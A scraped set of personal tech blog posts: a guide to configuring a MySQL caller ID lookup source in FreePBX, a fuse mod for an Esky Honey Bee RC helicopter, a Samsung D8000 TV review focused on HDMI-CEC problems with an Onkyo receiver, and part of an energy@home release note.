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One of the reasons I switched to MySQL instead of using the built in phonebook was because the numbers weren’t matching the ones in the internal phonebook. The built in phonebook only allows numbers so international numbers with + or numbers with hyphens cannot be matched to phonebook entries. Using a user defined database and query will solve these problems.

Setup MySQL

We need a schema and a table to store the phonebook and I’d suggest a new user with at least SELECT privileges. The script below creates a schema called freepbx and a table called phonebook:
--
-- Create schema freepbx
--

CREATE DATABASE IF NOT EXISTS freepbx;
USE freepbx;

--
-- Definition of table `freepbx`.`phonebook`
--

DROP TABLE IF EXISTS `freepbx`.`phonebook`;
CREATE TABLE `freepbx`.`phonebook` (
`name` varchar(50) NOT NULL,
`number` varchar(20) NOT NULL,
`phone` varchar(10) DEFAULT NULL,
PRIMARY KEY (`name`,`number`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
phonebook.zip

The table contains 3 fields:

• name – The name of the number
• number – The matching phone number
• phone – The type of phone number E.g mob

Add Contacts

Run the following query to insert new contacts in the phonebook:
insert freepbx.phonebook (name, number, phone) values ('Danny','123456','mob');
Replace Danny, 123456. mob with your own values. The name and number (the first 2 items in the values) are required and the phone (‘mob in the example) is optional. When omitting the phone field run the following query instead:
insert freepbx.phonebook (name, number) values ('Danny','123456');
The name and number combined must be unique otherwise it won’t create an entry in the database. See below for how it will be displayed on the phone / reports.

The Siemens S68H which comes with the Siemens Gigaset 685IP will display all the caller ID if it fits on the display but the text will “just go off the screen” if it does not, only display the first part of the name. The number is always displayed below the caller ID where possible.

Setup FreePBX

Log into FreePBX and go to Tools Setup (tab) > Inbound Call Control > CallerID Lookup Sources Click the Add CID Lookup Source button to add a new phonebook directory. Select MySQL from the Source type This will change the require informations on the page. Enter the following information:

Source Description: MySQL
Source type: MySQL
Cache results: yes [tick]
Host: [server address]
Database: freepbx
Query: SELECT CONCAT(name, IF(phone IS NOT NULL,CONCAT(' (', phone, ')'), '')) as cid FROM phonebook WHERE number like '[NUMBER]'
Username: [username]
Password: [password]

Source description can be any name and it will be used a reference in other settings. The Host will typically be localhost unless the MySQL database is installed on a different machine.

The query will show Danny (mob) if the phone field is populated. The brackets are automatically inserted. If the phone field is empty (NULL in the database) it will just show the name Danny

Press the Submit Changes button to save the new caller ID look up.

Go to Setup (tab) > Inbound Call Control > Inbound Routes and select an inbound route which will use the new phonebook. Under the CID Lookup Source section select the phonebook called MySQL (or what ever it was named in the Source description) in the Source dropdown.

Press the Submit button to save the change and repeat for all other inbound routes which will use the MySQL phonebook.

Apply the changes for all the settings to take hold.

Summary

Having MySQL as a source makes it a lot more flexible and customizable. Also it can be linked to an existing directory. More technical knowledge is required to manage the contacts but that comes with the flexibility.

Setup MySQL CallerID Lookup Source on FreePBX

Related posts:

1. Enabling Remote Access To MySQL
2. MySQL Tuning
3. Linksys SPA3102 And FreePBX On Ubuntu 10.04

One of the first mod to a Honey Bee is the fuse mod. This mod adds 2 fuses to the helicopter between each motor and the 4 in 1 (4-1) controller. This is to prevent a power surge reaching the controller. This can happen when the propeller stops spinning and power is not reduced for example during a crash. If the person doesn’t doesn’t cut the throttle fast enough then the electricity will goes to the motor but because the the motor can’t spin the propellers it’s not using up all the power and that then goes to the controller which can’t handle it.

Parts & Tools

I acquired most of the parts from Halfords. Whilst it was not as cheap as it use to be, it’s better than replacing the 4-1.

Parts list:

• 3 amp mini blade fuse
• 5 amp female spades (HEF 511)
• Heat shrink (10 mm diameter) or sleeves for the spades
• Main and tail motor wire (EK1 0226) (Optional)

The two fuses are used for each motor. The main motor which turns the main blades is bigger than the tail rotor and have different power ratings. I chose mini car fuses for it’s size and price but normal and micro sized fuses will also work. The spades are used to as the fuse holders. It’s best to them sleeved because they are quite close together and can cause a short, by passing the fuse. I also bought a set of spare motor wires in case I screwed up the mod. Also it meant I didn’t have to splice the cables.

There are different sized spades and it’s a judgement call as to what size is needed depending on the size of the fuse. Micro and Mini fuses should be interchangeable but the normal size fuses may need a bigger spade.

Fuse Price comparison:
All fuses were the same price for different ratings. It was the size that determined the price. All fuses came with 2 in a box. Prices are correct to 09/11/2011.

The table above illustrate the price difference is largest between mini and micro fuses (55% increase) where as the normal to mini size is marginal (11% difference). Also the biggest difference in physical size is going from normal to mini. Halfords also sell LED mini fuses which light up when a fuse is blown. These cost more than the micro fuses at £3.29. Whilst they are nice to have it is not very cost economical if they need replacing a lot (depends on how often the helicopter crashes badly).

Tools list:

• Pilers
• Wire strippers (optional)
• Soldering Iron & Solder (optional)

The pilers are needed to cut the cable ties off the Honey Bee which hold the wires to the chassis. Also they are needed to cut the wire and strip the insulation from the wires. There maybe more effective tools such as wire strippers. I also used a soldering iron to tin the tips of the wire and left a blob of solder for better contact but this is not necessary.

Preparation

First turn off the helicopter if not done so and remove the canopy.

Cut the cable ties holding the wires. This gives the wires some slack to work on them.

Take note which way the wires go into the 4-1. In the above picture, both were positive on top.

Fuse Mod

I will detail the steps I took which included using the soldering iron, extra motor wires and heat shrink wrapping instead of sleeves (turned out better than sleeves for holding the wire to the spades better)

1. Plug in and heat the soldering iron up
2. Remove the main motor power cables from the 4 in 1
3. Remove the positive pin from the connector



4. Remove the positive pin from the spare main motor wire same as above
5. Remove the sleeve from the spade
6. Strip back the open end spare positive motor wire
7. Feed the wire through the small loop in the spade. It does not matter which side of the spade
8. Tin and leave some solder on the wire
9. Pull the wire back to the into the loop and crimp. Make sure the wire is securely held in the spade
10. Do the same to the positive motor wire coming from the main motor:
1. Strip back the open end spare positive motor wire
2. Feed the wire through the small loop in the spade. It does not matter which side of the spade
3. Tin and leave some solder on the wire
4. Pull the wire back to the into the loop and crimp. Make sure the wire is securely held in the spade
11. Fit the fuse into the spade
12. Push the spare positive motor wire pin back into the connect
13. Put the corrector the right way up into the 4-1 controller
14. Test
15. Measure and cut the heat shrink. Make sure the head shrink covered the spade and extends onto the wires
16. Heat the heat shrink up so that it shrinks sufficiently around the spade and wire
17. Do the above again but the for the tail wires which is the connector below the main motor

Tips

Once both mods are done perform a small test flight, easing the power in and letting it off and then more power and letting off. By repeating this process you’ll eventually lift off and “land” again to ensure nothing is loose. I found that the my crimp wasn’t as secure as it should be so every time the fuse moved it would stop and start the motors. This would be catastrophic if it happened in flight.

Summary

This mod is very good and should come with the helicopter… but it doesn’t. I have already replaced the fuse twice!

* Fuse (automotive)
Esky Honey Bee Fixed Pitch V2 Fuse Mod
ESky Honey Bee FP HBFP V2 – Fuse Mod – Easily Protect Your 4in1

Related posts:

1. Griffin PowerJolt
2. Microsoft ReadyBoost
3. Back from Sweden

I have been eyeing up a Samsung 8000 series T.V since last year and since the only discount that was applied was around £200 from release till the the C model was EOL with the new D series, it made me selfishly unhappy that other people knew this was a great T.V.

Assembly

The T.V comes in 2 main parts: the T.V itself and the stand. Putting the T.V onto the stand was a fairly simply task. Whilst it can be done as a one man task, 2 is definitely recommended. The stand is in 2 parts and must be assembled before putting the T.V on. Fixing consists of screws which are supplied but require Philips screw drivers. Once the T.V is slotted onto the stand, it can be left on without support but again this is not recommended.

The T.v can swivel on the stand and it’s very stiff. So stiff that you would need to hold the stand down so that it doesn’t rotate with the panel.

Connectivity

The Samsung T.V comes with a variety of connections main located at the rear and side of the unit, towards the left hand side when the rear is facing you (right hand side when looking at the D8000 from the front). USB and HDMI are full sized ports but some older ports must use a special Samsung adapter. I do not like the idea of having proprietary connectors but the unit is so thin it may be hard to mount a full sized SCART connector with enough strength.

The composite cable was very confusing to hook up. The same adapter is used for component video but the adapter has 2 red ends. The manual is black and white so it didn’t help and also the manual doesn’t even separate out the cables like the real cable. You can see in the above picture how I connected the cables together. The composite cable was used by the Nintendo Wii.

Setup

The setup process was very simple and clear. During the setup process, I was surprised and shocked that it had built in Wifi! I still opted for the wired option because I had one there and connected. Everything worked out of the box except for tuning channels because we didn’t have the ariel cable set up. Everything we watch is through Sky.

HDMI-CEC With Onkyo TS-SR508

The T.V comes with Consumer Electronics Control (CEC) which allows commands to be sent via HDMI. In the Sony T.V we had before it was called Sony Sync. Samsung calls this feature Anynet+. It allows the devices to send commands to one another such as remote control keys (like volume) from one device will pass it on to the other device. One of the best uses of CEC is turning the D8000 on also turns on the Onkyo Receiver on as well and also works by turning it off (to standby).

The 508 works with the Samsung T.V. The volume, on/off, pass through all works together. Whilst the volume controls from either remote turns the sound up or down on the Onkyo, the volume it reports back by the T.V OSD is 10 points above what Onkyo says it is. I could not find a way to turn off the Samsung volume OSD which appears on top of the Onkyo’s inbuilt volume OSD. Also the Samsung volume OSD flickers between 2 OSD. First saying Anynet+ then disappears and then displays the volume in numbers which causes the flicker. I prefer the Onkyo volume OSD because it has a volume level bar and value shown at the same time. Also the Anynet+ OSD is usually 10 units off the Onkyo volume reading.

A huge issue I have encountered is when the T.V is switched on it powers up the receiver from standby and after a few seconds it changes the input from what ever was selected before(usually cble/sat) to TV/CD. This is very frustrating because it means every time the T.V is turned on, you need to use the Onkyo remote to change the input selector. I have looked online and can confirm it’s the Samsung T.V doing it and not an Onkyo problem. The issue has persisted from the previous model (C8000). This leads me to believe Samsung will not fix it and the change in input is probably aimed at a Samsung receiver. There is no option to disable this without turning off Anynet+ (which defeats the object of not using the receiver remote).

I have also tried using the non-ARC HDMI port (any HDMI port except for 2), resetting Anynet+ and setting the input of Sky (the most used input) from cble/sat to TV/CD. The latter method worked but the sound goes out of sync even with lipsync turned on and other sound oddities like multi-channel goes funny or the sound fades on certain sound frequencies.

The last solution I found was to use a universal programmable remote such as Logitech’s Harmony remote controls but I think this is a workaround more than a fix. Also these remotes are not cheap (especially if you have just bought this T.V).

Apps

The apps are a good concept and offer some enhanced features otherwise would be delegated to the Xbox or PS3. The 46D8000 has 1GB of memory (around 900mb usable) for apps which include Lovefilm, weather, stocks, Twitter, Facebook, etc. There are plenty of apps to download from. Since using the T.V I have not really used them after trying them out but I don’t have a Lovefilm streaming subscription.

3D

The glasses that were included with the D8000 were the SSG-3100GB. They are big and bulky but they were also comfortable. They were a good pair of stock glasses using a CR2035 flat watch like battery. Sync with the T.V was tricky. If the Samsung T.V wasn’t in 3D mode the glasses will not connect to the T.V.

Also the glasses are very fragile. I managed to drop the SSG-3100GB from around waist height whilst I was putting them back into the foam sheet cloth that came with the glasses and the lense cracked, rendering them useless.

Before trying the 3D I had read it was not as good as what you’d see in the cinema. This set my expectation lower and after watching Gnomeo & Juliet the Internet wasn’t even half right. The 3D doesn’t pop out and almost hit you like the cinema but more like pops out of the T.V slightly.

Sky Remote Control Code

The Sky controller T.V buttons stopped working after the switch from the Sony KDL32W5000. The volume buttons were the most frequently used keys. To fix this issue the Sky remote T.V code must be changed. To change Sky code to 1340. Sky has a code look up page found here. I tried to use the Sky Active service but it didn’t list the T.V model. The remote control revision number should be printed on a label on the back of the battery cover which says SkyHD rev.xR on the second line and where x is the revision number.

Updates

Updates are checked automatically and a message box appears when a new one is found.

Summary

The T.V is a big upgrade from my 32W5000 Sony Bravia T.V The options and features included go above and beyond what I was use to. Once you’re use to looking at thin bezel even computer monitors seem to have an unnecessary thick plastic boarder around them. The 3D was more or less useless in my opinion because it doesn’t have the depth that a cinema screen gives and there’s hardly any content current that require the technology.

If it wasn’t for the Onkyo receiver issue this would have been a faultless T.V

TX-SR508 keeps resetting input – HDMI-CEC problem?

Related posts:

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The multichannel support allows for 2 or 3 phase CT clamp compatibility. Channels are different from appliances. One CC128 device can have multiple appliances. Each appliance (according to the XML spec) can have multiple channels. Each channel are captured individually and the channel label is only shown when there are more than one channel captured in the graph legend. This means that IAMs will not show the channel prefix because they can only capture one channel at a time.

The graph will display each channel like separate appliances. The changes made to the database meant the temperature data is also treated as if it was a channel and therefore reduced a lot of code specifically written for temperature data retrieval.

Other interesting changes include data filtering in the datalogger. There are now options to check the data acquired from the CurrentCost device to ensure data integrity such as garbled data or supurious data points. This still can be further improved to filter each channel but at the moment it allows for filtering of maximum appliance ID (default is 9 and is 0 based) to device name checking.

To upgrade from 0.6.5 there are a few database upgrade scripts attached to Issue 24

Download the new version at http://code.google.com/p/energyathome/downloads/list

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2. XMLTV Error 6400 And XMLTV Error 2304
3. energy@home 0.6 Released